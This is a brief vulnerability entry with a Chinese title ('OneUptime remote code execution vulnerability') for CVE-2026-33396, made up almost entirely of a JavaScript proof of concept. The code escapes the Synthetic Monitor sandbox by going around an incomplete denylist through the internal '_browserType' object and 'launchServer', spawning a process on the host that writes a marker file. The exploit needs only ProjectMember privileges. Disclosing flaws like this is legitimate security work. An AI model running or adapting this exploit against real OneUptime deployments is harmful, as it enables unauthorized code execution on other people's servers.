CVE-2026-33396 OneUptime 远程代码执行漏洞

// PoC for CVE-2026-33396 // Exploits incomplete denylist in OneUptime Synthetic Monitor // Requires ProjectMember privileges async function exploit() { // The context provides a live Playwright page object const page = global.page; // Bypass the sandbox by accessing the internal browser type // The denylist failed to block '_browserType' and 'launchServer' const browserType = page.context().browser()._browserType; // Spawn an arbitrary process on the host/container // Example: Launching a server or executing a command await browserType.launchServer({ args: ['--no-sandbox', 'touch', '/tmp/pwned'] }); } exploit();